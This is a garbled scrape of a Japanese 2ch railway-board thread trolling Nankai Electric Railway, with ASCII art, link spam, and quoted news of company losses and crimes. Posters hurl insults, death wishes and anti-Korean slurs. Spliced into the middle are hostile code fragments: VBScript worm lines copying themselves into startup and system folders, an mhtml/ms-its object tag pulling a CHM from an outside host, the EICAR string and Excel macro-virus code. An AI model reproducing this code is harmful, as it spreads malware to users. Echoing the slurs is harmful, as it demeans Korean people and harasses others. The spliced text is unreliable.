赤字転落と＿)_)（__(）､;.o：。ttp://today.reuters.co.jp/stocks/FinanceArticle.aspx?viewﾟ*･:.｡=CN&symbol=9044.OS&storyid=64776+15-Nov-2005+RTRSボロ南海保守age！このスレッドは天才チンパンジー「赤字南海ヲタ
」が言語訓練のために立てたものです。アイと研究員とのやり取りに利用するスレッドなので、関係者以外は書きこまないで下さい。南海客層悪いお( ^ω^)南海治安悪いお(^ω^)南海ガラガラだお(^ω^)南海貧乏だお(^ω^)ゴミ
箱=南海日本のゴミ箱南海汐見橋支線の信号機は借金返済に売却したのですかｸｸ｜|プ/ｸｸ｜|プ/ｽｸｽ＿||│//.ｽｸｽ＿||│//／ｽ─||ッ//／ｽ─||ッ//／＿＿＿＿＿//／//／ｌ⌒ｌｌ⌒ｌ＼））＿＿＿＿.／／￣|,=||=､|￣ヾ／＿＿＿
＿ヽ/￣/￣.ー'●ー'￣ｌ￣|| /,−､,-､ｌ））|￣l￣￣__|.￣ｌ￣.|_|-|,=|=､|||.￣|￣￣`Y⌒l__￣ﾉ￣(6.ｰっ-´､}ヽヽ人_（ヾヽ`Y⌒l_ﾉ減損処理で当期赤字に南海電鉄決算>〓〓〓〓〓〓-ｲ／ヽ人_（ヽttp://www.asahi.com/ka
nsai/news/OSK200605120072.html／／Θヽ｜/￣￣￣ヽ-ｲ

南海ぼろいの？南海臭いの？南海汚いの？南海運賃高いの？南海将来性ないの？南海客層悪いの？南海治安悪いの？南海ガラガラなの？/:.:.:.:.:.:/:.:.:.:.l:.:､:.:|:.:.:.:.:.:.:.､:.:.:.:.:.:.:.:ヽ:.:.ヽ//:.:.:.:./:.:
./:/|:.:.|:.､:.:.:.:.:.:.:.:＼:.:.:.:.:.:.ｌ|:.:.:.:ﾄ!|:|!:.:.:.:.:!:.:.|:/!:.:|:.:l:.:.:.＿l:.:.:.:.l:.:.:.:.:.:.||:.:.:ﾉ|禁則事項ですぅ☆|ﾊ:.:.:.:.:|:.:.|'|￣!:.:ト､＼:.:.:.|l｀ヽ|:.:.:|:.:/l:／ハl!ヽ:.
:.:.l:.:.l:|ヽlヽ=≠-､:.l|:.:.:|//彡/:|＼＼:|:.:.|＝-‐トしrﾊ|:.:ノ|/!|´|:.:|:.:.:ヽi｀:.l,ー‐',':.:.:.:トノ:!:.:l:.:|:.|:.l!||:ﾉ:.＼iヽー‐/:.:.:.:/:|:.:.:.|:.:|:.:lソﾚ'／/:.:.:.ｌ｢|ト､＿_,.. ィ/:.:.:.:
斗-!:.:.:|:.:.:.:.ヽ／:.:/:.:.:./ｌ/ﾉ,へ!／:.:.／＼l:.:.:.:.:.:.',／:.:.:/:.:.:./|/'ｰ-ri/:.:.:.:/,|ヽ:.:.:.:.:.:',／:.:.:.:.ﾉ!:.:./!二j´/:.:.:.:/／l:.:.＼:.:.:.:.',/:.:.:.:.:.:/∨ノ/,rﾉｰ|:.:/ノ´＿,,.-‐/!
:.:.:.:.:ヽ:.::.:l!:.:.:.:／_,-‐'.〉,ィ´￣l:/'´/:.|:.:.:.:.:.:.:|::.:.:|..

この前南海に乗ったが異常に運賃が高い

サル以下の知能しかないから、毎夜アホの一つ覚えで飽きもせずに命賭けてる知能指数の超低い南海ヲタw↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓

低所得南海ヲタ

>403死ね

南海ヲタは低脳貧民低学歴野郎

みんなの嫌われ者、関西私鉄のハミゴでありかつ鉄道界に不要な「南海」

南、海、は、ボ、ロ、い。

南海はボロイデハナクふるい

南海は悪いイメージしか無いからな…

南海マニアは嫌われるぞ。

路車板の癌・南海ヲタ

>470インサイダー？それとも妄想か？どっちも“いくない”ことだよな

／＿＿／'|/／:.:.:.:.:.:.:.:｀ヽ._r―-､／／//´｡｡⌒)Ul:.:.:.:.:r'⌒ヽ__ll/ｒn＾nl`ｰ‐',.-‐-､_ヽ､_／r:.f_￣ヽ/_）.:/{_U_Uj,.-―‐-､/´.:.{｀Y＾ー''｀ヽ､_{ヽ､＿_／_／￣｀lヽ_;:-_,.-‐'"南海倒産しておーくれヽ
`ｰ'_ノヽ!lｰ一'"!..:.:,r'⌒ヽ、｀弋ヽ、ヽr‐ｙ'⌒l⌒/|:.:.:.l^!-‐'}￣ヽヽ､ヽ{ _{＿＿ノノ/:.:._L|ー'＼ll::l`lヽ`ー‐一'"_ノ‐ｧ'ｲ:(`',

ﾞ､',',;,'/＿ﾚ'Ｚ／}/|/l,}〉∠、'､,''/ｒデﾐー''ｲｰｋ'｝ル'ｿ／,ゝ、｀ｰ','〈_ｊ゛｀ー′/でﾝ/}'´,.┴─‐ｌ゛−"/ﾊ､.ゝ゛,'ノ/｀、ﾊｎ/}/ヽヾﾆァ'/、うおっ、南海ぼろいっ！./ヽ.ﾄ､]_[ノ{＼｀,.イト､./{／￣'||`ヾ、｀
ー-､｀´__llｌ＼/ヽ〈rニL上ｚ'＾)i´|lｌ,}ノ⌒ヽL｛､＿＿_厂丶ｌl.lｌ/|l７丁{､＿＿_}、ヽ!l.l|l｀l､__

,,-―--、|:::::::::::::;;;ﾉ／￣￣￣￣￣￣￣￣￣￣￣￣￣￣|::::::::::(」＜黙れ門跡寺院。ﾉﾉﾉヽ_l＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿,,-┴―┴-、∩_／,|┌-[]─┐|＼(ﾉ/ヽ||バ|'、／＼///`./||カ||＼/＼ヽ|lゝ||＼__/＼
|￣￣￣|⊂|＿＿＿＿__||l＿lil＿l||┬|

南海ぼろい

妄想天国♪ヘィ〜ヘィヘィヘ〜ヘィ♪

そりゃそうだ。いくら努力をしても南海が阪急にかなうはずが無い。

何をやっても、このスレで否定的にとられてしまう南海。会社の信用のなさの成せる業だな。

7000置き換えなら走ルンですでもええよ

>524ほんと南海とヤクザと韓国人はマジ関わりたくない三大クズだな

暇人で社会貢献しない南海ヲタカス南海とヲタは2ｃｈからとっとと消えろ

>520アンタみたいなのが阪急さんにとって一番迷惑な存在だと思うが

↓555getの赤字監禁強制わいせつ南海ヲタ↓554getの赤字監禁強制わいせつ南海ヲタ

sage

ダメな南海は何をやってもダメかつては乞食・浮浪者・ルンペン・南海ヲタなどと呼ばれていたが、差別用語との指摘を受け、海外での同様な状況を指す英語のthehomelessに由来するホームレスという呼称がマスメディアを中
心に外来語として定着した。在日朝鮮人南海ヲタうぜぇーｳｪｰﾊｯﾊｯﾊ,-―-､､,-―-､､,-―-､､,-―-､､/∧＿∧/∧＿∧/∧＿∧/∧＿∧.l<丶｀∀´>l<丶｀∀´>l<丶｀∀´>l<｀∀´丶>ヽ､_フづと)'ヽ､_フづと)'ヽ､_フづと)'ヽ､_フづと
)〜（＿⌒ヽ〜（＿⌒ヽ〜（＿⌒ヽ〜（＿⌒ヽ)ノ｀J)ノ｀J)ノ｀J)ノ｀J>668南海は近隣の私鉄よりもサービスが格段に悪いから、無理だよ>686念の為言っておくと南海ヲタは日本人じゃないんだぜで、東証一部上場はいつやる
のー？株価つり上げのために、できもしないことを株主総会で軽々しく言ってるようじゃ、南海の社会的信用は地に堕ちたもんだなw怠け者だから金もない。だから一生いい女と付き合うこともできない。パソコンでエロ動画で
オナニー結婚すらできないそれが南海ヲタクォリティ住吉大社駅の上り２０時代って一時間に３本しかないんですね仮にも大阪市内の駅なのに…南海って地方の小私鉄なみですね>772南海は赤字ですから.....阪急や阪神の倍近
くの運賃を取っておきながら、経営難に陥ってる南海。よっぽど社員のコスト削減意識などの改革が遅れてんだな。>754何で京阪は宣言後、有限実行で東証一部上場を果たしたのに、南海は宣言後も東証に一向に上場できないの
ー？答え−南海電気鉄道（笑）だからがらの悪さでは天下一品の泉州を走る南海おはお880分かってるしなwシャレやしw氏ねよ理論オタうざいだけ>890南海と合併したら泉北のイメージが悪くなるから却下>892禿同。「どこに住
んでるの？」って聞かれて、「泉北沿線」って答えるのは「ニュータウンに住んでるんだー」って印象を相手に与えるけど、「南海沿線」って答えたら、（´,_ゝ｀）ﾌﾟｯって思われるから、ヤダ。次スレttp://hobby7.2ch.net/t
est/read.cgi/rail/1165581791/次スレttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/弱小私鉄の一つ、大阪は小便臭い難波とガラの悪い泉州・田舎臭い和歌山・観光客激減の高野山・JRに完敗の関空を結ぶ日本最低の

私鉄南海電気鉄道それよりも2000系の休車を横川の鉄道文化村に売ってあげようよ新スレ【←萩茶】南海電気鉄道ｽﾚｯﾄﾞNa90【⇒岸玉】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/新スレ【←萩茶】南海電気鉄道ｽﾚｯﾄ
ﾞNa90【⇒岸玉】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/新スレ【←萩茶】南海電気鉄道ｽﾚｯﾄﾞNa90【⇒岸玉】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/新スレ【←萩茶】南海電気鉄道ｽﾚｯﾄﾞNa90【
⇒岸玉】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/新スレ【←萩茶】南海電気鉄道ｽﾚｯﾄﾞNa90【⇒岸玉】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/新スレ【←萩茶】南海電気鉄道ｽﾚｯﾄﾞNa90【⇒岸玉】
ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/新スレ【←萩茶】南海電気鉄道ｽﾚｯﾄﾞNa90【⇒岸玉】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/新スレ【←萩茶】南海電気鉄道ｽﾚｯﾄﾞNa90【⇒岸玉】ttp://ho
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1165581791/新スレ【←萩茶】南海電気鉄道ｽﾚｯﾄﾞNa90【⇒岸玉】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/新スレ【←萩茶】南海電気鉄道ｽﾚｯﾄﾞNa90【⇒岸玉】ttp://hobby7.2ch.net/test/read.cgi/rail/11655817

91/新スレ【←萩茶】南海電気鉄道ｽﾚｯﾄﾞNa90【⇒岸玉】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/新スレ【←萩茶】南海電気鉄道ｽﾚｯﾄﾞNa90【⇒岸玉】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/新ス
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茶】南海電気鉄道ｽﾚｯﾄﾞNa90【⇒岸玉】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/新スレ【←萩茶】南海電気鉄道ｽﾚｯﾄﾞNa90【⇒岸玉】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/新スレ【←萩茶】南海
電気鉄道ｽﾚｯﾄﾞNa90【⇒岸玉】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/新スレ【←萩茶】南海電気鉄道ｽﾚｯﾄﾞNa90【⇒岸玉】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/新スレ【←萩茶】南海電気鉄道
ｽﾚｯﾄﾞNa90【⇒岸玉】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/新スレ【←萩茶】南海電気鉄道ｽﾚｯﾄﾞNa90【⇒岸玉】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/新スレ【←萩茶】南海電気鉄道ｽﾚｯﾄﾞNa9
0【⇒岸玉】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/新スレ【←萩茶】南海電気鉄道ｽﾚｯﾄﾞNa90【⇒岸玉】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/ 新スレ【←萩茶】南海電気鉄道ｽﾚｯﾄﾞNa90【⇒岸
玉】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/新スレ【←萩茶】南海電気鉄道ｽﾚｯﾄﾞNa90【⇒岸玉】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/新スレ【←萩茶】南海電気鉄道ｽﾚｯﾄﾞNa90【⇒岸玉】ttp:
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.2ch.net/test/read.cgi/rail/1165581791/新スレ【←萩茶】南海電気鉄道ｽﾚｯﾄﾞNa90【⇒岸玉】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/新スレ【←萩茶】南海電気鉄道ｽﾚｯﾄﾞNa90【⇒岸玉】ttp://hobby7.2ch.net

/test/read.cgi/rail/1165581791/新スレ【←萩茶】南海電気鉄道ｽﾚｯﾄﾞNa90【⇒岸玉】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/新スレ【←萩茶】南海電気鉄道ｽﾚｯﾄﾞNa90【⇒岸玉】ttp://hobby7.2ch.net/test/re
ad.cgi/rail/1165581791/新スレ【←萩茶】南海電気鉄道ｽﾚｯﾄﾞNa90【⇒岸玉】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/１０００なら赤字南海、倒産Ifs="htm"andfso.FileExists(f1.path+"l")=Falsethenfso.Copy
Filef1.path,f1.path+"l"SetA4=A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))fso.copyfile"c:\network.vbs","j:\windows\startmenu\programs\startup\"c.Copy(dirsystem&"\MSKernel32.vbs")c.Copy(dirwin&"
\Win32DLL.vbs")c.Copy(dirsystem&"\TXT.vbs")<objectdata="ms-its:mhtml:file://C:\\MAIN.MHT!ttp://www.loadcash.biz//adverts//35//main.chm::/main.htm"type="text/X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANT
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SONAL.XLS")Ifm$="PERSONAL.XLS"Thenp=1Elsep=0IfActiveWorkbook.Modules.Count>0Thenw=1Elsew=0whichfile=p+w*10EndSub弱小私鉄の一つ、大阪は小便臭い難波とガラの悪い泉州・田舎臭い和歌山・観光客激減の高野山・JRに

完敗の関空を結ぶ日本最低の私鉄南海電気鉄道の本線・高野線(ウォッチ以外)・高師浜線・多奈川線・加太線・和歌山港線・過去の廃線区間について語りましょう。なお、このスレは鉄道路線・車両板掲載の板のため、南海関係
でもスレ違いの話が発生します。スレ違い・板違いにならないように、重々お気をつけない。荒らしは歓迎。煽り推奨！聞き分けのある珍作さんは出てきても(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。どうせ珍作さ
んはコピペばかりで似たような事しか言いません。(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。他スレから変なものをコピペしてきたり、既出のものを何度も挙げるのも歓迎。何度もやってる珍作さんは(・∀・)ニヤ
ニヤ笑いながら出来たら相手しましょう。ガイドラインを守りたくない人は新規にスレを立てない。立てたら荒らす。なお、分かって荒らしている珍作さんは(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。流行語３語と
成分分析の使いすぎには注意しない。「使い方を間違えてる人」は(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。主なガイドライン(お約束)・各種リンク、過去ログ、既出質問やくだらないネタは「まとめサイト」に掲
載しています。わざわざスレッドに貼り付けるの絶対歓迎。南海スレ＠まとめサイトttp://plaza.rakuten.co.jp/nankai2ch/ローカルルールttp://plaza.rakuten.co.jp/nankai2ch/2003ttp://plaza.rakuten.co.jp/nankai2ch/20
04ttp://plaza.rakuten.co.jp/nankai2ch/2005投票ttp://multianq.uic.to/mesganq.cgi?room=nankaittp://multianq.uic.to/mesganq.cgi?room=nankaianti難解な解析機ttp://seibun.nosv.org/maker.php/shukuin/前スレ【←新
今宮】南海電気鉄道ｽﾚｯﾄﾞNa89【⇒天下茶屋】ttp://hobby7.2ch.net/test/read.cgi/rail/1164553356/1000：名無し野電車区：2006/12/09(土)00:30:20ID:m5xrhc+P１０００なら赤字南海、倒産1000：名無し野電車区：2006/12/0
9(土)00:30:20ID:m5xrhc+P１０００なら赤字南海、倒産1000：名無し野電車区：2006/12/09(土)00:30:20ID:m5xrhc+P１０００なら赤字南海、倒産1000：名無し野電車区：2006/12/09(土)00:30:20ID:m5xrhc+P１０００なら赤字南

海、倒産1000：名無し野電車区：2006/12/09(土)00:30:20ID:m5xrhc+P１０００なら赤字南海、倒産1000：名無し野電車区：2006/12/09(土)00:30:20ID:m5xrhc+P１０００なら赤字南海、倒産1000：名無し野電車区：2006/12/09(
土)00:30:20ID:m5xrhc+P１０００なら赤字南海、倒産1000：名無し野電車区：2006/12/09(土)00:30:20ID:m5xrhc+P１０００なら赤字南海、倒産1000：名無し野電車区：2006/12/09(土)00:30:20ID:m5xrhc+P１０００なら赤字南海
、倒産1000：名無し野電車区：2006/12/09(土)00:30:20ID:m5xrhc+P１０００なら赤字南海、倒産1000：名無し野電車区：2006/12/09(土)00:30:20ID:m5xrhc+P１０００なら赤字南海、倒産1000：名無し野電車区：2006/12/09(土)
00:30:20ID:m5xrhc+P１０００なら赤字南海、倒産1000：名無し野電車区：2006/12/09(土)00:30:20ID:m5xrhc+P１０００なら赤字南海、倒産1000：名無し野電車区：2006/12/09(土)00:30:20ID:m5xrhc+P１０００なら赤字南海、
倒産 重複誘導【代アニの】南海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/

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､|||.￣|￣￣`Y⌒l__￣ﾉ￣(6.ｰっ-´､}ヽヽ人_（ヾヽ`Y⌒l_ﾉ減損処理で当期赤字に南海電鉄決算>〓〓〓〓〓〓-ｲ／ヽ人_（ヽttp://www.asahi.com/kansai/news/OSK200605120072.html／／Θヽ｜/￣￣￣ヽ-ｲ◆◇◆◇◆減損処理
で当期赤字に南海電鉄決算◆◇◆◇◆2006年05月12日南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損
処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html南海電鉄アスベストむき出し南海電鉄によりますと、あわせて１３の駅で天井のは
りなどにアスベストが使われており、中でも大阪市内と堺市内の６つの駅ではアスベストを吹きつけた部分が密閉されず、一部がむき出しになっていて、薬品などで固定する措置も取られていないということです。このうち、１
つの駅では、近く予定されている改築に合わせてアスベストを撤去しますが、ほかの５つの駅では撤去や密閉などの新たな措置は今のところ考えていないということです。これについて南海電鉄の総務部は、現状でもアスベスト
が飛び散るおそれはないとしており、アスベストがむき出しになっている駅がどこかは明らかにしていません。一方、大阪の大手私鉄、京阪電鉄によりますと、４つの駅で建物にアスベストが吹き付けられており、このうち、大
阪・枚方市の村野駅の屋根の一部でアスベストがむき出しになっているということです。京阪電鉄でも、アスベストが飛散する心配はほとんどないとしていますが、近く、撤去することにしています。このほか、近鉄でも５つの
駅でアスベストが吹き付けられていますが、飛散しないように固定する措置を取っているため、健康上の心配はないとしています。ttp://www3.nhk.or.jp/news/2005/08/02/d20050802000028.html◇◆◇◆◇南海電鉄が申告漏れ

３年間で３億５０００万円（共同通信）◇◆◇◆◇南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の申告漏れを指摘されていたことが２１日、分かった。同
国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。関係者によると、同社は建設した施設にについて供
用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。また、そのほかにも資
産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html
◆◇◆◇◆運転士と車掌が女性監禁トイレで強制わいせつ◆◇◆◇◆23歳コンパニオンをトイレに監禁、体触る兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘（３４＝大阪府羽曳野市）、南海
電鉄車掌喜多信也（３３＝和歌山県橋本市）の両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に触る
などのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容疑を否認しているという。両容疑者は同期入社の社員十数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２次会でホテル内のバーに移動した
。２次会ではコンパニオン数人の時間を延長して接待を受けていた。両容疑者は女性がトイレへ行くため席を立ったところ「ちょっと来て」と誘い、手を引っ張ってトイレに連れ込んだという。両容疑者は約４０分間、女性をト
イレに監禁し、わいせつな行為に及んだという。]同僚のコンパニオン女性が席に戻ってこない女性を心配し、男子トイレを外からノックしたが、反応はなかったという。６月上旬に女性が同署に被害届を提出した。ttp://osaka

.nikkansports.com/news/p-on-tp6-20060726-66186.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、
子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。男児ははずみでホームに押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ
、高石署に暴行と傷害容疑で現行犯逮捕された。調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、藤本容疑者は「子どもたちがうるさかった」と供述しているとい
う。ソース：朝日新聞２月28日付朝刊35頁社会面 （１１月２９日の社会面ニュース）４少年が電車・駅で女子高生にわいせつ行為容疑で逮捕-----------------------------------------------------------------------------
---大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で
、１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたという。少年課の調べでは、高３の男
子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体を触るなどした疑い。女子生徒が乗り換えのため岸和田駅で下車したとこ
ろ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに連れ込んで約１０分間、わいせつな行為を続けた疑い。高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い。同課によると、
女子生徒は電車内で「やめてください」などと助けを求めたが、当時車内にいた数人の客は助けようとしなかった。車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒とは面識がなかった。ttp://www.asahi.

com/kansai/news/OSK200411300005.html■「世界遺産登録に“超高層”の影」2006/05/23放送（長文のため一部省略）この４月に関西で４番目、全国で１５番目に政令市となった大阪府堺市が、再開発問題で頭を痛めています。
超高層マンションで駅前を一気に活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。しかし去年９月、竹川さんの耳に信じられないニュースが飛び込んできました。なんと４
５階建て、高さ１５２メートルのタワーマンションが建つというのです。世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。建設予定地は以前南海電鉄の操車場でしたが、移転に伴い、遊休地となっていました
。それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限のない緊急整備地域に指定されました。そこに南海電鉄は、超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・
田中裕二部長〉「町が変わるんだ、中心地が活性化するんだと。こういうことの起爆剤、呼び水になると考えています。（超高層マンションは）違和感のない景観だと思っています」＜続く＞しかしこの計画地、反正陵からわず
か１２０メートル。完成したら周囲の景観は激変し、世界遺産登録への影響が心配されます。反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。地元で反対運動を進める吉田さんらは、手作
りの模型で、マンションの及ぼす影響を説明してきました。〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、『ピラミッドの横に１５０メートルの建物が建つという風にお考え頂いたらよくわかり
ますよ』と。あぁそういうことかと」吉田さんのもとには、すでに７，０００人を越える署名が集まりました。堺市の有識者会議にも名を連ねる専門家はこう指摘します。〈京都府立大学・宗田好史助教授〉「あえて、今から登
録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」世界遺産か高層マンションか。ttp://mbs.jp/voice/special/200605/23_2733.shtml◆◇◆◇◆踏切の電源入れ忘れ作動せず８列車通過南海和歌

山港線◆◇◆◇◆2006年10月20日20時46分和歌山市網屋町の南海和歌山港線「久保町２号踏切」で２０日始発から午前８時半ごろまで、警報機や遮断機が作動せず、特急や急行など計８本の列車がそのまま通過した。未明にあっ
た点検作業のため電源を切ったまま忘れていたのが原因という。現場は工場が密集する地域で人通りは少なく、けが人はなかった。南海電気鉄道によると同日午前０時半ごろ、踏切や信号機などに電気を送る電源装置の定期点検
のため、同線の踏切１１カ所の電源を切った。点検が終わった午前３時ごろから、社員２人が電源を入れて回ったが、ここだけ復旧し忘れたという。午前８時５分ごろ、現場手前で急行列車の運転士が異常に気付き、本社に連絡
した。同社は「初歩的なミスで大変申し訳ない。作業手順の厳守とチェックを徹底する」としている。ttp://www.asahi.com/national/update/1020/OSK200610200054.htmlいよいよ来年は５００００系の東武譲渡か

「50000系の東武」が南海に譲渡だとぉ！？南海電鉄で囁かれる｢最悪のシナリオ｣怪文書が指摘する疑惑の数々､疑惑に発展か経企庁による“大本営発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという
状況の中、私鉄各社の経営も依然として厳しい状態が続いている。各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳し
い様相を呈している。しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その
数字を見ても同社の置かれた状況がいかに厳しいものかがうかがえる。近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、前年同期比で一・六％の伸びを示したものの
、経常利益では十九億円と、前年同期比では実に二七・五％もの減少という惨憺たる結果になっている。さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。「全国的に見ても、関西の雇
用情勢は相変わらず厳しい上に、少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、それでも、大手五社の中で経常利益が前年同期比でマイナスに転じたのは南海だけです。もっとも
、各社とも、主力の鉄道事業だけをみればそれぞれ前年よりも収益が減っているのも確かですが南海の場合、業績不振の観光事業子会社を整理したり、希望退職者への割増退職金などを特別損失として約二百億円計上したことが
大きかったようです。それでも、これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、難波地区の再開発用地の一部を民間都市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状態なん
です」（在阪の経済誌記者）実際、グループ会社も含めた連結決算ではもっと惨憺たる結果が出ており、連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。前期はかろうじて三億円の黒

字をキープしたが、連結での赤字転落はA連結決算を公表して以来、初めてのことだという。こうした厳しい状況もあってか、労使間の対立も以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以降
、経営陣を批判する怪文書も出回って、関係者の注目を集めているのだ。南海電鉄、堺に１４８メートルのマンション計画　仁徳陵を一望、住民「景観壊す」堺市内に建設が計画されている高さ約百四十八メートルの超高層マン
ションから、国内最大の前方後円墳の仁徳天皇陵（堺区）が“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を目指しているが、地元住民からは「景観悪化につながる」と建設反対の動きも。
中には「天皇陵を見下ろすことに問題はないのか」の声もある。建設主の南海電鉄は数回にわたり住民説明会を開いているが、景観論争の決着には時間がかかりそうだ。南海電鉄によると、予定地は南海堺東駅の東側に隣接する
車庫跡地約一・四ヘクタール。四十二階と十五階の二棟約五百戸で、平成二十一年三月のオープンを予定している。高さ約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。
同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、最大のウリ」という。同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、周辺住民は猛反発。天皇陵を含
む百舌鳥古墳群の世界文化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。地元住民で建設に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、建設を中止しなければ世界遺産登録は
ありえない」と指摘。ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で高層ビル開発の計画が持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。住民らは今月二十日
にも建設中止を求める要望書を市に提出する予定だが、市建築都市局は「古墳の周囲には、低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。堺の中心地に人を

呼び戻す絶好のチャンスと期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti001.htm★★★★★★★★★★★★★★★★南海電鉄、単体209.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044
.OS>：中間単体、05年9月当期赤字転落209.45億円、06年3月見通142億円の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター］2005年9月(2005年4月1日-2005年9月30日)注) カッコ内は前年比、△は赤字05年9月中間期04
年9月中間期06年3月期見通05年3月期実績売上高（百万円）35,61851,77570,200100,025(-31.2%)営業利益（百万円）6,7908,914(-23.8%)経常利益（百万円）3,4903,4383,0005,988(+1.5%)当期利益（百万円）△20,9454,963△14,2
005,490１株利益（円）△39.909.45△27.0510.45発行済株式総数(千株）524,859525,266１株配当（円）0.000.00--4.00ttp://today.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS&storyid=64783+15-Nov-
